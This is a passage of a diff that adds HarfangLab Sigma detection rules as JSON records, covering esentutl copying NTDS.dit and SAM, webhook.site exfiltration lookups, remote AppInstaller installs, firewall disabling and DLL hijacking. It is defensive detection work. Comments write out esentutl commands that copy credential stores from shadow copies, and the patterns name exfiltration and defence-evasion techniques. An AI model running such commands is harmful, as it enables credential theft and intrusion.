+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074625Z",
+  "creation_date": "2026-03-23T11:45:34.074627Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074632Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/",
+    "https://attack.mitre.org/techniques/T1003/003/",
+    "https://attack.mitre.org/software/S0404/"
+  ],
+  "name": "t1003_003_copying_sensitive_files_with_esentutl.yml",
+  "content": "title: Sensitive Files Copied via esentutl.exe\nid: 8610a64e-eb0f-436c-b21d-33f757ea41f0\ndescription: |\n    Detects the execution of the legitimate esentutl.exe Windows binary, a command-line tool that provides database utilities for the Windows Extensible Storage Engine.\n    This binary can be used as a LOLBin in order to copy sensitive files (e.g NTDS.dit, SAM) from Volume Shadow Copies.\n    It is recommended to analyze the process responsible for the execution of esentutl.exe, as well as to investigate files that were copied from the VSS and identify possibly stolen credentials or sensitive material.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Esentutl/\n    - https://attack.mitre.org/techniques/T1003/003/\n    - https://attack.mitre.org/software/S0404/\ndate: 2021/08/24\nmodified: 2025/09/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.003\n    - attack.defense_evasion\n    - attack.t1006\n    - attack.s0404\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Esentutl\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.VolumeShadowCopy\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\esentutl.exe'\n        - OriginalFileName: 'esentutl.exe'\n    selection_2:\n        # esentutl.exe /y /vss c:\\windows\\ntds\\ntds.dit /d c:\\folder\\ntds.dit\n        # esentutl.exe /y /vss c:\\Windows\\system32\\config\\SAM /d c:\\folder\\SAM\n        CommandLine|contains|all:\n            - ' /y '\n            - ' /vss '\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8610a64e-eb0f-436c-b21d-33f757ea41f0",
+  "rule_name": "Sensitive Files Copied via esentutl.exe",
+  "rule_description": "Detects the execution of the legitimate esentutl.exe Windows binary, a command-line tool that provides database utilities for the Windows Extensible Storage Engine.\nThis binary can be used as a LOLBin in order to copy sensitive files (e.g NTDS.dit, SAM) from Volume Shadow Copies.\nIt is recommended to analyze the process responsible for the execution of esentutl.exe, as well as to investigate files that were copied from the VSS and identify possibly stolen credentials or sensitive material.\n",
+  "rule_creation_date": "2021-08-24",
+  "rule_modified_date": "2025-09-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.003",
+    "attack.t1006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "86213fd2-3e42-47e8-b6ae-b6ab6da0c1ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625263Z",
+  "creation_date": "2026-03-23T11:45:34.625265Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625269Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402",
+    "https://www.zscaler.com/blogs/security-research/steal-it-campaign",
+    "https://attack.mitre.org/techniques/T1567/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1567_webhook_dns_request.yml",
+  "content": "title: DNS Resolution of a Webhook Service\nid: 86213fd2-3e42-47e8-b6ae-b6ab6da0c1ea\ndescription: |\n    Detects a DNS resolution request of a webhook service such as webhook.site.\n    These services allow for automatic logging of the requests they receive and can be configured to reply custom responses.\n    Attackers can use such services to exfiltrate stolen data stealthfully, or to host and deliver malicious payloads.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402\n    - https://www.zscaler.com/blogs/security-research/steal-it-campaign\n    - https://attack.mitre.org/techniques/T1567/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2023/09/07\nmodified: 2025/12/19\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1567\n    - attack.command_and_control\n    - attack.t1105\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName: 'webhook.site'\n\n    filter_browser:\n        ProcessOriginalFileName:\n            - 'firefox.exe'\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'msedge.exe'\n            - 'librewolf.exe'\n            - 'opera.exe'\n            - 'vivaldi.exe'\n            - 'iexplore.exe'\n            - 'msedgewebview2.exe'\n            - 'zen.exe'\n\n    filter_opera:\n        ProcessDescription: 'Opera Internet Browser'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Opera Norway AS'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_misc_windows:\n        ProcessImage:\n            - '?:\\Windows\\System32\\PING.EXE'\n            - '?:\\Windows\\SysWOW64\\PING.EXE'\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\SysWOW64\\ipconfig.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_webthreatdefense:\n        ProcessCommandLine: '?:\\Windows\\system32\\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_trellix:\n        # C:\\Program Files\\McAfee\\Endpoint Security\\Adaptive Threat Protection\\mfeatp.exe\n        ProcessDescription: 'Trellix Adaptive Threat Protection Service'\n        ProcessSigned: 'true'\n        ProcessSignature: 'MUSARUBRA US LLC'\n\n    exclusion_intellijidea:\n        ProcessParentImage|endswith: '\\IntelliJ IDEA *\\bin\\idea64.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'JetBrains s.r.o.'\n\n    exclusion_nexthink:\n        # C:\\Program Files\\Nexthink\\Collector\\Collector\\nxtsvc.exe\n        ProcessOriginalFileName: 'nxtsvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NEXThink S.A.'\n\n    exclusion_postman:\n        ProcessImage|endswith: '\\Postman.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Postman, Inc.'\n\n    exclusion_docker:\n        ProcessOriginalFileName: 'com.docker.backend.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Docker Inc'\n\n    exclusion_zen_browser:\n        ProcessOriginalFileName: 'zen.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Open Source Developer, OSCAR GONZALEZ MORENO'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "86213fd2-3e42-47e8-b6ae-b6ab6da0c1ea",
+  "rule_name": "DNS Resolution of a Webhook Service",
+  "rule_description": "Detects a DNS resolution request of a webhook service such as webhook.site.\nThese services allow for automatic logging of the requests they receive and can be configured to reply custom responses.\nAttackers can use such services to exfiltrate stolen data stealthfully, or to host and deliver malicious payloads.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-09-07",
+  "rule_modified_date": "2025-12-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1567"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "864c4117-8c10-4947-a5c1-127c857ebf9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084099Z",
+  "creation_date": "2026-03-23T11:45:34.084101Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084106Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2023/12/28/financially-motivated-threat-actors-misusing-app-installer/",
+    "https://learn.microsoft.com/en-us/windows/msix/app-installer/installing-windows10-apps-web",
+    "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/",
+    "https://attack.mitre.org/techniques/T1189/"
+  ],
+  "name": "t1189_appinstaller_suspicious_url.yml",
+  "content": "title: Package Installed via AppInstaller from the Internet\nid: 864c4117-8c10-4947-a5c1-127c857ebf9c\ndescription: |\n    Detects URL requests performed by AppInstaller in order to install a remote application.\n    Adversaries have been seen abusing the AppInstaller URI scheme (ms-appinstaller) to trick users into installing malicious software directly from Internet.\n    Microsoft has disabled installation of remote package by default in late December 2023 but it can still be enabled via a group policy configuration.\n    It is recommended to check if the accessed URL correspond to a known and legitimate application and if suspicious commands have been launched during the installation process.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2023/12/28/financially-motivated-threat-actors-misusing-app-installer/\n    - https://learn.microsoft.com/en-us/windows/msix/app-installer/installing-windows10-apps-web\n    - https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/\n    - https://attack.mitre.org/techniques/T1189/\ndate: 2023/12/28\nmodified: 2025/03/12\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1189.001\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        ProcessOriginalFileName: 'AppInstaller.exe'\n        ProcessCommandLine|contains: '-ServerName:App.AppX9rwyqtrq9gw3wnmrap9a412nsc7145qh.mca'\n\n    exclusion_knownurl:\n        RequestUrlHost:\n            - 'download.mytobiidynavox.com' # Snap.Windows.WinUI.OEM_1.30.0.3621.msixbundle\n            - 'windbg.download.prss.microsoft.com' # windbg.appinstaller\n            - 'languagetool.org' # Languagetool.Packaging_0.5.3.5_x64.msixbundle\n            - 'staticcdn.duckduckgo.com' # DuckDuckGo_0.61.5.0.msixbundle\n            - 'keepersecurity.com'\n            - 'data-edge.smartscreen.microsoft.com'\n            - 'ping-edge.smartscreen.microsoft.com'\n            - 'dl-edge.smartscreen.microsoft.com'\n            - 'download.shapr3d.com'\n            - 'cdn.files.community'\n            - 'crl?.digicert.com'\n            - 'cacerts.digicert.com'\n            - 'ocsp.digicert.com'\n            - 'ocsp.sectigo.com'\n            - 'crl.comodoca.com'\n            - 'ocsp.comodoca.com'\n            - 'ocsp.globalsign.com'\n            - 'ocsp.entrust.net'\n            - 'crls.ssl.com'\n            - 'ocsps.ssl.com'\n            - 'oneocsp.microsoft.com'\n            - 'ocsp.*.amazontrust.com'\n            - 'cdn.flexibits.com'\n            - 'www.microsoft.com'\n            - 'crl.microsoft.com'\n            - 'go.microsoft.com'\n            - 'download.microsoft.com'\n            - 'c.pki.goog'\n            - 'o.ss2.us'\n            - 'crl.certum.pl'\n            - 'huddlysoftware.blob.core.windows.net' # https://support.huddly.com/what-domains-are-used-for-software-upgrades/\n            - 'msixhero.net'\n            - 'rsu.bmw.de'\n            - '*.lencr.org'\n            - 'appinstaller.xelion.com'\n            - 'download.keepersecurity.com'\n            - 'www.compositeurdigital.com'\n            - 'dl.meraki.net'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "864c4117-8c10-4947-a5c1-127c857ebf9c",
+  "rule_name": "Package Installed via AppInstaller from the Internet",
+  "rule_description": "Detects URL requests performed by AppInstaller in order to install a remote application.\nAdversaries have been seen abusing the AppInstaller URI scheme (ms-appinstaller) to trick users into installing malicious software directly from Internet.\nMicrosoft has disabled installation of remote package by default in late December 2023 but it can still be enabled via a group policy configuration.\nIt is recommended to check if the accessed URL correspond to a known and legitimate application and if suspicious commands have been launched during the installation process.\n",
+  "rule_creation_date": "2023-12-28",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1189.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8667c4cc-362c-4054-a0ce-f7d2982de46a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607511Z",
+  "creation_date": "2026-03-23T11:45:34.607515Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607522Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/apt29-wineloader-german-political-parties",
+    "https://www.reliaquest.com/blog/double-extortion-attack-analysis/",
+    "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/",
+    "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos",
+    "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1204_002_suspicious_folder_execution.yml",
+  "content": "title: Process Executed From a Suspicious Folder\nid: 8667c4cc-362c-4054-a0ce-f7d2982de46a\ndescription: |\n    Detects execution of a process from a suspicious folder.\n    Adversaries may try to write to the Windows directory in order to bypass security features. Some of the folders in this directory are writable without elevated privileges.\n    It is recommended to check the executed process and its parents/children for malicious behavior.\nreferences:\n    - https://www.mandiant.com/resources/blog/apt29-wineloader-german-political-parties\n    - https://www.reliaquest.com/blog/double-extortion-attack-analysis/\n    - https://securelist.com/toddycat-keep-calm-and-check-logs/110696/\n    - https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos\n    - https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2024/07/23\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n      ProcessImage|startswith:\n        - '?:\\Windows\\Prefetch\\'\n        - '?:\\Windows\\Tasks\\'\n        - '?:\\Windows\\system32\\Tasks\\'\n        - '?:\\Windows\\debug\\'\n        - '?:\\Windows\\tracing\\'\n        - '?:\\Windows\\help\\'\n        - '?:\\Windows\\logs\\'\n        - '?:\\Windows\\Fonts\\'\n        - '?:\\Perflogs\\'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8667c4cc-362c-4054-a0ce-f7d2982de46a",
+  "rule_name": "Process Executed From a Suspicious Folder",
+  "rule_description": "Detects execution of a process from a suspicious folder.\nAdversaries may try to write to the Windows directory in order to bypass security features. Some of the folders in this directory are writable without elevated privileges.\nIt is recommended to check the executed process and its parents/children for malicious behavior.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "867512a0-7df8-460e-a3f5-0adf633ba816",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087014Z",
+  "creation_date": "2026-03-23T11:45:34.087016Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087020Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/",
+    "https://attack.mitre.org/techniques/T1562/004/"
+  ],
+  "name": "t1562_004_powershell_disable_firewall.yml",
+  "content": "title: Windows Firewall Disabled via PowerShell in Command-line\nid: 867512a0-7df8-460e-a3f5-0adf633ba816\ndescription: |\n    Detects PowerShell commandlets in command-line mode used to disable the Windows firewall.\n    Attackers may disable the Windows firewall to gain unauthorized access to a system or network, bypass security measures and ease future access to compromised systems.\n    It is recommended to analyze the context (parent process, ancestors) around this execution of PowerShell to determine whether the disabling for the firewall is the consequence of a legitimate IT policy or the result of malicious actions.\nreferences:\n    - https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/\n    - https://attack.mitre.org/techniques/T1562/004/\ndate: 2021/05/07\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_cmd:\n        CommandLine|contains|all:\n            - 'Set-NetFirewallProfile'\n            - '-Enabled'\n            - 'false'\n\n    selection_profile:\n        CommandLine|contains:\n            - '-All'\n            - '-Profile'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "867512a0-7df8-460e-a3f5-0adf633ba816",
+  "rule_name": "Windows Firewall Disabled via PowerShell in Command-line",
+  "rule_description": "Detects PowerShell commandlets in command-line mode used to disable the Windows firewall.\nAttackers may disable the Windows firewall to gain unauthorized access to a system or network, bypass security measures and ease future access to compromised systems.\nIt is recommended to analyze the context (parent process, ancestors) around this execution of PowerShell to determine whether the disabling for the firewall is the consequence of a legitimate IT policy or the result of malicious actions.\n",
+  "rule_creation_date": "2021-05-07",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "867c41de-ac3a-4ccf-9f21-8c290e5f35b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086696Z",
+  "creation_date": "2026-03-23T11:45:34.086698Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086702Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms",
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_jabswitch.yml",
+  "content": "title: DLL Hijacking via jabswitch.exe\nid: 867c41de-ac3a-4ccf-9f21-8c290e5f35b1\ndescription: |\n    Detects potential Windows DLL Hijacking via jabswitch.exe, which is part of the Java SE8 Runtime Environment.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate, signed third-party binary to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/01/08\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'jabswitch.exe'\n        ImageLoaded|endswith:\n            - '\\VERSION.dll'\n            - '\\vcruntime140.dll'\n            - '\\MSVCR100.dll'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_image:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\Java\\jre'\n            - '?:\\Program Files (x86)\\Java\\jdk'\n            - '?:\\Program Files\\Java\\jre'\n            - '?:\\Program Files\\Java\\jdk'\n\n    filter_signed_imageloaded:\n        Signed: 'true'\n        SignatureStatus: 'Valid'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows Software Compatibility Publisher'\n            - 'Oracle America, Inc.'\n            - 'Eclipse.org Foundation, Inc.'\n            - 'Amazon.com Services LLC' # C:\\Program Files\\Amazon Corretto\\jdk1.8.0_422\\jre\\bin\\jabswitch.exe\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "867c41de-ac3a-4ccf-9f21-8c290e5f35b1",
+  "rule_name": "DLL Hijacking via jabswitch.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via jabswitch.exe, which is part of the Java SE8 Runtime Environment.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate, signed third-party binary to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-01-08",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "869b436c-0aaf-41f9-aad5-edb0d72e4f92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.571154Z",
+  "creation_date": "2026-03-23T11:45:34.618391Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618395Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/ShitSecure/status/1590655082864906240",
+    "https://strontic.github.io/xcyclopedia/library/createdump.exe-0464C3912C3B38C27F5DD2D64E09B0BF.html",
+    "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Createdump/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_process_memory_dump_with_createdump.yml",
